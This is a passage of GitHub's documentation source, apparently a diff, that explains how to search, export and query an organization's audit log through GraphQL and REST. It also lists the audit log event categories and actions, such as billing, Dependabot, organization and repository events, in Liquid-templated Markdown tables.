* `country:de` finds all events that occurred in Germany. + * `country:Mexico` finds all events that occurred in Mexico. + * `country:"United States"` all finds events that occurred in the United States. + +{% ifversion fpt or ghec %} +## Exporting the audit log + +{% data reusables.audit_log.export-log %} +{% data reusables.audit_log.exported-log-keys-and-values %} +{% endif %} + +## Using the audit log API + +You can interact with the audit log using the GraphQL API{% ifversion fpt or ghec %} or the REST API{% endif %}. + +{% ifversion fpt or ghec %} +The audit log API requires {% data variables.product.prodname_ghe_cloud %}.{% ifversion fpt %} {% data reusables.enterprise.link-to-ghec-trial %}{% endif %} + +### Using the GraphQL API + +{% endif %} + +{% note %} + +**Note**: The audit log GraphQL API is available for organizations using {% data variables.product.prodname_enterprise %}. {% data reusables.gated-features.more-info-org-products %} + +{% endnote %} + +To ensure your intellectual property is secure, and you maintain compliance for your organization, you can use the audit log GraphQL API to keep copies of your audit log data and monitor: +{% data reusables.audit_log.audit-log-api-info %} + +{% ifversion fpt or ghec %} +Note that you can't retrieve Git events using the GraphQL API. To retrieve Git events, use the REST API instead. For more information, see "[`git` category actions](#git-category-actions)." +{% endif %} + +The GraphQL response can include data for up to 90 to 120 days. + +For example, you can make a GraphQL request to see all the new organization members added to your organization. For more information, see the "[GraphQL API Audit Log]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/interfaces#auditentry/)." + +{% ifversion fpt or ghec %} + +### Using the REST API + +{% note %} + +**Note:** The audit log REST API is available for users of {% data variables.product.prodname_ghe_cloud %} only. + +{% endnote %} + +To ensure your intellectual property is secure, and you maintain compliance for your organization, you can use the audit log REST API to keep copies of your audit log data and monitor: +{% data reusables.audit_log.audited-data-list %} + +{% data reusables.audit_log.audit-log-git-events-retention %} + +For more information about the audit log REST API, see "[Organizations](/rest/reference/orgs#get-the-audit-log-for-an-organization)." + +{% endif %} + +## Audit log actions + +An overview of some of the most common actions that are recorded as events in the audit log. + +{% ifversion fpt or ghec %} +### `account` category actions + +| Action | Description +|------------------|------------------- +| `billing_plan_change` | Triggered when an organization's [billing cycle](/articles/changing-the-duration-of-your-billing-cycle) changes. +| `plan_change` | Triggered when an organization's [subscription](/articles/about-billing-for-github-accounts) changes. +| `pending_plan_change` | Triggered when an organization owner or billing manager [cancels or downgrades a paid subscription](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process/). +| `pending_subscription_change` | Triggered when a [{% data variables.product.prodname_marketplace %} free trial starts or expires](/articles/about-billing-for-github-marketplace/). +{% endif %} + +{% ifversion fpt or ghec %} +### `advisory_credit` category actions + +| Action | Description +|------------------|------------------- +| `accept` | Triggered when someone accepts credit for a security advisory. For more information, see "[Editing a security advisory](/github/managing-security-vulnerabilities/editing-a-security-advisory)." +| `create` | Triggered when the administrator of a security advisory adds someone to the credit section. +| `decline` | Triggered when someone declines credit for a security advisory. +| `destroy` | Triggered when the administrator of a security advisory removes someone from the credit section. +{% endif %} + +{% ifversion fpt or ghec %} +### `billing` category actions + +| Action | Description +|------------------|------------------- +| `change_billing_type` | Triggered when your organization [changes how it pays for {% data variables.product.prodname_dotcom %}](/articles/adding-or-editing-a-payment-method). +| `change_email` | Triggered when your organization's [billing email address](/articles/setting-your-billing-email) changes. +{% endif %} + +### `business` category actions + +| Action | Description +|------------------|-------------------{% ifversion fpt or ghec %} +| `set_actions_fork_pr_approvals_policy` | Triggered when the setting for requiring approvals for workflows from public forks is changed for an enterprise. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-fork-pull-requests-in-your-enterprise)."{% endif %} +| `set_actions_retention_limit` | Triggered when the retention period for {% data variables.product.prodname_actions %} artifacts and logs is changed for an enterprise. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)."{% ifversion fpt or ghes or ghec %} +| `set_fork_pr_workflows_policy` | Triggered when the policy for workflows on private repository forks is changed. For more information, see "{% ifversion fpt or ghec%}[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-fork-pull-requests-in-private-repositories){% else ifversion ghes > 2.22 %}[Enabling workflows for private repository forks](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enforcing-github-actions-policies-for-your-enterprise#enabling-workflows-for-private-repository-forks){% endif %}."{% endif %} + +{% ifversion fpt or ghec %} +### `codespaces` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when a user [creates a codespace](/github/developing-online-with-codespaces/creating-a-codespace). +| `resume` | Triggered when a user resumes a suspended codespace. +| `delete` | Triggered when a user [deletes a codespace](/github/developing-online-with-codespaces/deleting-a-codespace). +| `create_an_org_secret` | Triggered when a user creates an organization-level [secret for {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-encrypted-secrets-for-codespaces#about-encrypted-secrets-for-codespaces) +| `update_an_org_secret` | Triggered when a user updates an organization-level [secret for {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-encrypted-secrets-for-codespaces#about-encrypted-secrets-for-codespaces). +| `remove_an_org_secret` | Triggered when a user removes an organization-level [secret for {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-encrypted-secrets-for-codespaces#about-encrypted-secrets-for-codespaces). +| `manage_access_and_security` | Triggered when a user updates [which repositories a codespace can access](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces). +{% endif %} + +{% ifversion fpt or ghec or ghes > 3.2 %} +### `dependabot_alerts` category actions + +| Action | Description +|------------------|------------------- +| `disable` | Triggered when an organization owner disables {% data variables.product.prodname_dependabot_alerts %} for all existing {% ifversion fpt or ghec %}private {% endif %}repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +| `enable` | Triggered when an organization owner enables {% data variables.product.prodname_dependabot_alerts %} for all existing {% ifversion fpt or ghec %}private {% endif %}repositories. + +### `dependabot_alerts_new_repos` category actions + +| Action | Description +|------------------|------------------- +| `disable` | Triggered when an organization owner disables {% data variables.product.prodname_dependabot_alerts %} for all new {% ifversion fpt or ghec %}private {% endif %}repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +| `enable` | Triggered when an organization owner enables {% data variables.product.prodname_dependabot_alerts %} for all new {% ifversion fpt or ghec %}private {% endif %}repositories. + +### `dependabot_security_updates` category actions + +| Action | Description +|------------------|------------------- +| `disable` | Triggered when an organization owner disables {% data variables.product.prodname_dependabot_security_updates %} for all existing repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +| `enable` | Triggered when an organization owner enables {% data variables.product.prodname_dependabot_security_updates %} for all existing repositories. + +### `dependabot_security_updates_new_repos` category actions + +| Action | Description +|------------------|------------------- +| `disable` | Triggered when an organization owner disables {% data variables.product.prodname_dependabot_security_updates %} for all new repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +| `enable` | Triggered when an organization owner enables {% data variables.product.prodname_dependabot_security_updates %} for all new repositories. +{% endif %} + +{% ifversion fpt or ghec %} +### `dependency_graph` category actions + +| Action | Description +|------------------|------------------- +| `disable` | Triggered when an organization owner disables the dependency graph for all existing repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +| `enable` | Triggered when an organization owner enables the dependency graph for all existing repositories. + +### `dependency_graph_new_repos` category actions + +| Action | Description +|------------------|------------------- +| `disable` | Triggered when an organization owner disables the dependency graph for all new repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +| `enable` | Triggered when an organization owner enables the dependency graph for all new repositories. +{% endif %} + +### `discussion_post` category actions + +| Action | Description +|------------------|------------------- +| `update` | Triggered when [a team discussion post is edited](/articles/managing-disruptive-comments/#editing-a-comment). +| `destroy` | Triggered when [a team discussion post is deleted](/articles/managing-disruptive-comments/#deleting-a-comment). + +### `discussion_post_reply` category actions + +| Action | Description +|------------------|------------------- +| `update` | Triggered when [a reply to a team discussion post is edited](/articles/managing-disruptive-comments/#editing-a-comment). +| `destroy` | Triggered when [a reply to a team discussion post is deleted](/articles/managing-disruptive-comments/#deleting-a-comment). + +{% ifversion fpt or ghes or ghec %} +### `enterprise` category actions + +{% data reusables.actions.actions-audit-events-for-enterprise %} + +{% endif %} + +{% ifversion fpt or ghec %} +### `environment` category actions + +| Action | Description +|------------------|------------------- +| `create_actions_secret` | Triggered when a secret is created in an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)." +| `delete` | Triggered when an environment is deleted. For more information, see ["Deleting an environment](/actions/reference/environments#deleting-an-environment)." +| `remove_actions_secret` | Triggered when a secret is removed from an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)." +| `update_actions_secret` | Triggered when a secret in an environment is updated. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)." +{% endif %} + +{% ifversion fpt or ghec %} +### `git` category actions + +{% note %} + +**Note:** To access Git events in the audit log, you must use the audit log REST API. The audit log REST API is available for users of {% data variables.product.prodname_ghe_cloud %} only. For more information, see "[Organizations](/rest/reference/orgs#get-the-audit-log-for-an-organization)." + +{% endnote %} + +{% data reusables.audit_log.audit-log-git-events-retention %} + +| Action | Description +|---------|---------------------------- +| `clone` | Triggered when a repository is cloned. +| `fetch` | Triggered when changes are fetched from a repository. +| `push` | Triggered when changes are pushed to a repository. + +{% endif %} + +### `hook` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when [a new hook was added](/articles/creating-webhooks) to a repository owned by your organization. +| `config_changed` | Triggered when an existing hook has its configuration altered. +| `destroy` | Triggered when an existing hook was removed from a repository. +| `events_changed` | Triggered when the events on a hook have been altered. + +### `integration_installation_request` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when an organization member requests that an organization owner install an integration for use in the organization. +| `close` | Triggered when a request to install an integration for use in an organization is either approved or denied by an organization owner, or canceled by the organization member who opened the request. + +### `ip_allow_list` category actions + +| Action | Description +|------------------|------------------- +| `enable` | Triggered when an IP allow list was enabled for an organization. +| `disable` | Triggered when an IP allow list was disabled for an organization. +| `enable_for_installed_apps` | Triggered when an IP allow list was enabled for installed {% data variables.product.prodname_github_apps %}. +| `disable_for_installed_apps` | Triggered when an IP allow list was disabled for installed {% data variables.product.prodname_github_apps %}. + +### `ip_allow_list_entry` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when an IP address was added to an IP allow list. +| `update` | Triggered when an IP address or its description was changed. +| `destroy` | Triggered when an IP address was deleted from an IP allow list. + +### `issue` category actions + +| Action | Description +|------------------|------------------- +| `destroy` | Triggered when an organization owner or someone with admin permissions in a repository deletes an issue from an organization-owned repository. + +{% ifversion fpt or ghec %} + +### `marketplace_agreement_signature` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when you sign the {% data variables.product.prodname_marketplace %} Developer Agreement. + +### `marketplace_listing` category actions + +| Action | Description +|------------------|------------------- +| `approve` | Triggered when your listing is approved for inclusion in {% data variables.product.prodname_marketplace %}. +| `create` | Triggered when you create a listing for your app in {% data variables.product.prodname_marketplace %}. +| `delist` | Triggered when your listing is removed from {% data variables.product.prodname_marketplace %}. +| `redraft` | Triggered when your listing is sent back to draft state. +| `reject` | Triggered when your listing is not accepted for inclusion in {% data variables.product.prodname_marketplace %}. + +{% endif %} + +{% ifversion fpt or ghes > 3.0 or ghec %} + +### `members_can_create_pages` category actions + +For more information, see "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)." + +| Action | Description | +| :- | :- | +| `enable` | Triggered when an organization owner enables publication of {% data variables.product.prodname_pages %} sites for repositories in the organization. | +| `disable` | Triggered when an organization owner disables publication of {% data variables.product.prodname_pages %} sites for repositories in the organization. | + +{% endif %} + +### `org` category actions + +| Action | Description +|------------------|------------------- +| `add_member` | Triggered when a user joins an organization.{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +| `advanced_security_policy_selected_member_disabled` | Triggered when an enterprise owner prevents {% data variables.product.prodname_GH_advanced_security %} features from being enabled for repositories owned by the organization. {% data reusables.advanced-security.more-information-about-enforcement-policy %} +| `advanced_security_policy_selected_member_enabled` | Triggered when an enterprise owner allows {% data variables.product.prodname_GH_advanced_security %} features to be enabled for repositories owned by the organization. {% data reusables.advanced-security.more-information-about-enforcement-policy %}{% endif %}{% ifversion fpt or ghec %} +| `audit_log_export` | Triggered when an organization admin [creates an export of the organization audit log](#exporting-the-audit-log). If the export included a query, the log will list the query used and the number of audit log entries matching that query. +| `block_user` | Triggered when an organization owner [blocks a user from accessing the organization's repositories](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization). +| `cancel_invitation` | Triggered when an organization invitation has been revoked. {% endif %}{% ifversion fpt or ghes or ghec %} +| `create_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is created for an organization. For more information, see "[Creating encrypted secrets for an organization](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)."{% endif %} {% ifversion fpt or ghec %} +| `disable_oauth_app_restrictions` | Triggered when an owner [disables {% data variables.product.prodname_oauth_app %} access restrictions](/articles/disabling-oauth-app-access-restrictions-for-your-organization) for your organization. +| `disable_saml` | Triggered when an organization admin disables SAML single sign-on for an organization.{% endif %} +| `disable_member_team_creation_permission` | Triggered when an organization owner limits team creation to owners. For more information, see "[Setting team creation permissions in your organization](/articles/setting-team-creation-permissions-in-your-organization)." |{% ifversion not ghae %} +| `disable_two_factor_requirement` | Triggered when an owner disables a two-factor authentication requirement for all members{% ifversion fpt or ghec %}, billing managers,{% endif %} and outside collaborators in an organization.{% endif %}{% ifversion fpt or ghec %} +| `enable_oauth_app_restrictions` | Triggered when an owner [enables {% data variables.product.prodname_oauth_app %} access restrictions](/articles/enabling-oauth-app-access-restrictions-for-your-organization) for your organization. +| `enable_saml` | Triggered when an organization admin [enables SAML single sign-on](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization) for an organization.{% endif %} +| `enable_member_team_creation_permission` | Triggered when an organization owner allows members to create teams. For more information, see "[Setting team creation permissions in your organization](/articles/setting-team-creation-permissions-in-your-organization)." |{% ifversion not ghae %} +| `enable_two_factor_requirement` | Triggered when an owner requires two-factor authentication for all members{% ifversion fpt or ghec %}, billing managers,{% endif %} and outside collaborators in an organization.{% endif %}{% ifversion fpt or ghec %} +| `invite_member` | Triggered when [a new user was invited to join your organization](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization). +| `oauth_app_access_approved` | Triggered when an owner [grants organization access to an {% data variables.product.prodname_oauth_app %}](/articles/approving-oauth-apps-for-your-organization/). +| `oauth_app_access_denied` | Triggered when an owner [disables a previously approved {% data variables.product.prodname_oauth_app %}'s access](/articles/denying-access-to-a-previously-approved-oauth-app-for-your-organization) to your organization. +| `oauth_app_access_requested` | Triggered when an organization member requests that an owner grant an {% data variables.product.prodname_oauth_app %} access to your organization.{% endif %} +| `register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an organization](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)." +| `remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed.{% ifversion fpt or ghec %} +| `remove_billing_manager` | Triggered when an [owner removes a billing manager from an organization](/articles/removing-a-billing-manager-from-your-organization/) or when [two-factor authentication is required in an organization](/articles/requiring-two-factor-authentication-in-your-organization) and a billing manager doesn't use 2FA or disables 2FA. |{% endif %} +| `remove_member` | Triggered when an [owner removes a member from an organization](/articles/removing-a-member-from-your-organization/){% ifversion not ghae %} or when [two-factor authentication is required in an organization](/articles/requiring-two-factor-authentication-in-your-organization) and an organization member doesn't use 2FA or disables 2FA{% endif %}. Also triggered when an [organization member removes themselves](/articles/removing-yourself-from-an-organization/) from an organization.| +| `remove_outside_collaborator` | Triggered when an owner removes an outside collaborator from an organization{% ifversion not ghae %} or when [two-factor authentication is required in an organization](/articles/requiring-two-factor-authentication-in-your-organization) and an outside collaborator does not use 2FA or disables 2FA{% endif %}. | +| `remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from an organization](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization)." {% ifversion fpt or ghec %} +| `revoke_external_identity` | Triggered when an organization owner revokes a member's linked identity. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)." +| `revoke_sso_session` | Triggered when an organization owner revokes a member's SAML session. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)." {% endif %} +| `runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an organization](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)." +| `runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)." +| `runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." +| `runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see [Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group). +| `runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group. For more information, see "[Remove a self-hosted runner from a group for an organization](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)." +| `runner_group_runners_updated`| Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} +| `self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}{% ifversion fpt or ghes or ghec %} +| `self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."{% endif %}{% ifversion fpt or ghec %} +| `set_actions_fork_pr_approvals_policy` | Triggered when the setting for requiring approvals for workflows from public forks is changed for an organization. For more information, see "[Requiring approval for workflows from public forks](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#requiring-approval-for-workflows-from-public-forks)."{% endif %} +| `set_actions_retention_limit` | Triggered when the retention period for {% data variables.product.prodname_actions %} artifacts and logs is changed. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)."{% ifversion fpt or ghes or ghec %} +| `set_fork_pr_workflows_policy` | Triggered when the policy for workflows on private repository forks is changed. For more information, see "[Enabling workflows for private repository forks](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#enabling-workflows-for-private-repository-forks)."{% endif %}{% ifversion fpt or ghec %} +| `unblock_user` | Triggered when an organization owner [unblocks a user from an organization](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization).{% endif %}{% ifversion fpt or ghes or ghec %} +| `update_actions_secret` |Triggered when a {% data variables.product.prodname_actions %} secret is updated.{% endif %} +| `update_new_repository_default_branch_setting` | Triggered when an owner changes the name of the default branch for new repositories in the organization. For more information, see "[Managing the default branch name for repositories in your organization](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)." +| `update_default_repository_permission` | Triggered when an owner changes the default repository permission level for organization members. +| `update_member` | Triggered when an owner changes a person's role from owner to member or member to owner. +| `update_member_repository_creation_permission` | Triggered when an owner changes the create repository permission for organization members.{% ifversion fpt or ghec %} +| `update_saml_provider_settings` | Triggered when an organization's SAML provider settings are updated. +| `update_terms_of_service` | Triggered when an organization changes between the Standard Terms of Service and the Corporate Terms of Service. For more information, see "[Upgrading to the Corporate Terms of Service](/articles/upgrading-to-the-corporate-terms-of-service)."{% endif %} + +{% ifversion fpt or ghec %} +### `org_credential_authorization` category actions + +| Action | Description +|------------------|------------------- +| `grant` | Triggered when a member [authorizes credentials for use with SAML single sign-on](/github/authenticating-to-github/authenticating-with-saml-single-sign-on). +| `deauthorized` | Triggered when a member [deauthorizes credentials for use with SAML single sign-on](/github/authenticating-to-github/authenticating-with-saml-single-sign-on). +| `revoke` | Triggered when an owner [revokes authorized credentials](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization). + +{% endif %} + +{% ifversion fpt or ghes or ghae or ghec %} +### `organization_label` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when a default label is created. +| `update` | Triggered when a default label is edited. +| `destroy` | Triggered when a default label is deleted. + +{% endif %} + +### `oauth_application` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when a new {% data variables.product.prodname_oauth_app %} is created. +| `destroy` | Triggered when an existing {% data variables.product.prodname_oauth_app %} is deleted. +| `reset_secret` | Triggered when an {% data variables.product.prodname_oauth_app %}'s client secret is reset. +| `revoke_tokens` | Triggered when an {% data variables.product.prodname_oauth_app %}'s user tokens are revoked. +| `transfer` | Triggered when an existing {% data variables.product.prodname_oauth_app %} is transferred to a new organization. + +{% ifversion fpt or ghes > 3.0 or ghec %} +### `packages` category actions + +| Action | Description | +|--------|-------------| +| `package_version_published` | Triggered when a package version is published. | +| `package_version_deleted` | Triggered when a specific package version is deleted. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)." +| `package_deleted` | Triggered when an entire package is deleted. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)." +| `package_version_restored` | Triggered when a specific package version is deleted. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)." +| `package_restored` | Triggered when an entire package is restored. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)." + +{% endif %} + +{% ifversion fpt or ghec %} + +### `payment_method` category actions + +| Action | Description +|------------------|------------------- +| `clear` | Triggered when a payment method on file is [removed](/articles/removing-a-payment-method). +| `create` | Triggered when a new payment method is added, such as a new credit card or PayPal account. +| `update` | Triggered when an existing payment method is updated. + +{% endif %} + +### `profile_picture` category actions +| Action | Description +|------------------|------------------- +| update | Triggered when you set or update your organization's profile picture. + +### `project` category actions + +| Action | Description +|--------------------|--------------------- +| `create` | Triggered when a project board is created. +| `link` | Triggered when a repository is linked to a project board. +| `rename` | Triggered when a project board is renamed. +| `update` | Triggered when a project board is updated. +| `delete` | Triggered when a project board is deleted. +| `unlink` | Triggered when a repository is unlinked from a project board. +| `update_org_permission` | Triggered when the base-level permission for all organization members is changed or removed. | +| `update_team_permission` | Triggered when a team's project board permission level is changed or when a team is added or removed from a project board. | +| `update_user_permission` | Triggered when an organization member or outside collaborator is added to or removed from a project board or has their permission level changed.| + +### `protected_branch` category actions + +| Action | Description +|--------------------|--------------------- +| `create ` | Triggered when branch protection is enabled on a branch. +| `destroy` | Triggered when branch protection is disabled on a branch. +| `update_admin_enforced ` | Triggered when branch protection is enforced for repository administrators. +| `update_require_code_owner_review ` | Triggered when enforcement of required Code Owner review is updated on a branch. +| `dismiss_stale_reviews ` | Triggered when enforcement of dismissing stale pull requests is updated on a branch. +| `update_signature_requirement_enforcement_level ` | Triggered when enforcement of required commit signing is updated on a branch. +| `update_pull_request_reviews_enforcement_level ` | Triggered when enforcement of required pull request reviews is updated on a branch. +| `update_required_status_checks_enforcement_level ` | Triggered when enforcement of required status checks is updated on a branch. +| `update_strict_required_status_checks_policy` | Triggered when the requirement for a branch to be up to date before merging is changed. +| `rejected_ref_update ` | Triggered when a branch update attempt is rejected. +| `policy_override ` | Triggered when a branch protection requirement is overridden by a repository administrator.{% ifversion fpt or ghes or ghae or ghec %} +| `update_allow_force_pushes_enforcement_level ` | Triggered when force pushes are enabled or disabled for a protected branch. +| `update_allow_deletions_enforcement_level ` | Triggered when branch deletion is enabled or disabled for a protected branch. +| `update_linear_history_requirement_enforcement_level ` | Triggered when required linear commit history is enabled or disabled for a protected branch. +{% endif %} + +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + +### `pull_request` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when a pull request is created. +| `close` | Triggered when a pull request is closed without being merged. +| `reopen` | Triggered when a pull request is reopened after previously being closed. +| `merge` | Triggered when a pull request is merged. +| `indirect_merge` | Triggered when a pull request is considered merged because its commits were merged into the target branch. +| `ready_for_review` | Triggered when a pull request is marked as ready for review. +| `converted_to_draft` | Triggered when a pull request is converted to a draft. +| `create_review_request` | Triggered when a review is requested. +| `remove_review_request` | Triggered when a review request is removed. + +### `pull_request_review` category actions + +| Action | Description +|------------------|------------------- +| `submit` | Triggered when a review is submitted. +| `dismiss` | Triggered when a review is dismissed. +| `delete` | Triggered when a review is deleted. + +### `pull_request_review_comment` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when a review comment is added. +| `update` | Triggered when a review comment is changed. +| `delete` | Triggered when a review comment is deleted. + +{% endif %} + +### `repo` category actions + +| Action | Description +|------------------|------------------- +| `access` | Triggered when a user [changes the visibility](/github/administering-a-repository/setting-repository-visibility) of a repository in the organization. +| `actions_enabled` | Triggered when {% data variables.product.prodname_actions %} is enabled for a repository. Can be viewed using the UI. This event is not included when you access the audit log using the REST API. For more information, see "[Using the REST API](#using-the-rest-api)." +| `add_member` | Triggered when a user accepts an [invitation to have collaboration access to a repository](/articles/inviting-collaborators-to-a-personal-repository). +| `add_topic` | Triggered when a repository admin [adds a topic](/articles/classifying-your-repository-with-topics) to a repository.{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +| `advanced_security_disabled` | Triggered when a repository administrator disables {% data variables.product.prodname_GH_advanced_security %} features for the repository. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)." +| `advanced_security_enabled` | Triggered when a repository administrator enables {% data variables.product.prodname_GH_advanced_security %} features for the repository. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository).".{% endif %} +| `archived` | Triggered when a repository admin [archives a repository](/articles/about-archiving-repositories).{% ifversion ghes %} +| `config.disable_anonymous_git_access` | Triggered when [anonymous Git read access is disabled](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository) in a public repository. +| `config.enable_anonymous_git_access` | Triggered when [anonymous Git read access is enabled](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository) in a public repository. +| `config.lock_anonymous_git_access` | Triggered when a repository's [anonymous Git read access setting is locked](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access). +| `config.unlock_anonymous_git_access` | Triggered when a repository's [anonymous Git read access setting is unlocked](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access).{% endif %} +| `create` | Triggered when [a new repository is created](/articles/creating-a-new-repository).{% ifversion fpt or ghes or ghec %} +| `create_actions_secret` |Triggered when a {% data variables.product.prodname_actions %} secret is created for a repository. For more information, see "[Creating encrypted secrets for a repository](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)."{% endif %} +| `destroy` | Triggered when [a repository is deleted](/articles/deleting-a-repository).{% ifversion fpt or ghec %} +| `disable` | Triggered when a repository is disabled (e.g., for [insufficient funds](/articles/unlocking-a-locked-account)).{% endif %} +| `enable` | Triggered when a repository is re-enabled.{% ifversion fpt or ghes or ghec %} +| `remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed.{% endif %} +| `remove_member` | Triggered when a user is [removed from a repository as a collaborator](/articles/removing-a-collaborator-from-a-personal-repository). +| `register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)." +| `remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from a 